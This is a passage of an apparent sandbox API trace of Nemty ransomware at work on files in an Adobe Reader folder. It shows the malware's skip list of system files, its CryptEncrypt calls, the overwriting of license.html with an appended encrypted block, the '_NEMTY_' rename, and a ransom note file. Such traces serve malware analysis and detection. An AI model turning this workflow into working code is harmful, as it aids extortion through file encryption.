dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.582] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a80eef0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a80eef0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.582] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.582] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a80eef0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a80eef0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0172.582] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.582] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.582] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0172.582] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0172.582] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0172.582] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0172.582] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0172.582] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0172.582] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0172.582] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0172.582] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0172.582] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0172.582] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0172.582] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.582] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.582] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0172.582] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0172.582] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0172.582] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0172.582] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0172.582] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0172.582] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0172.582] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0172.582] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0172.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.583] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13a5b, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0172.583] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0172.583] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0172.583] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0172.583] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0172.583] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0172.583] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0172.583] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0172.583] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0172.583] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0172.583] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0172.583] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.583] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.583] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0172.583] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0172.583] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0172.583] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0172.583] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0172.583] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0172.583] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0172.584] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0172.584] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0172.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.584] Sleep (dwMilliseconds=0x5) [0172.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a85b1b0, dwHighDateTime=0x1d561e8)) [0172.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a85b1b0, dwHighDateTime=0x1d561e8)) [0172.596] GetLastError () returned 0xb7 [0172.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.596] GetLastError () returned 0xb7 [0172.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.596] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.596] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.597] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0172.597] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="+gTODRDAAga+5AHuEFerRjE2EuQYtAq2A7KSNsmIwUro0yJlb85SzGZnjoZ59prv\r\nb0f7ERs6Eg9u+Dtl/5KyicBp5BAI1soxS+U2DKHwZyvo3SEIOQEJd/pxme7MWmyc\r\nfRLkpnvODJ+l+LbeXQcmkWwepOIr7wHdDy7hg9CfqKeHeoSAE2RKou353D2wQyz/\r\nrDF8rh6HOqCw0RTBbOLCPQYARi72uT/HCbmGocCUOSY+NRXLKQOlicSyyR1syDxV\r\nWKSvT1oFuW98PabNm8wXRxACQrwgESUkJP5kIIi3KlHo53h4mSQGYhkCmAtwSkkX\r\nvE0A08RJ3VDIl2Bsv/5TOQ==\r\n", pcchString=0x653e5dc) returned 1 [0172.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0172.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.597] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.597] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=80475) returned 1 [0172.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13a50) returned 0x6352c48 [0172.597] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.597] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13a50, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13a50, lpOverlapped=0x0) returned 1 [0172.604] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.604] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13a50, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13a50, lpOverlapped=0x0) returned 1 [0172.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.604] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=80475, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13a5b [0172.604] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.604] CloseHandle (hObject=0x3b0) returned 1 [0172.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0172.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0172.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0172.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.605] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\license.html._nemty_kgobjgd_")) returned 1 [0172.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0172.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.606] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a80eef0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a80eef0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a835050, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.606] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.606] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.606] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.606] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 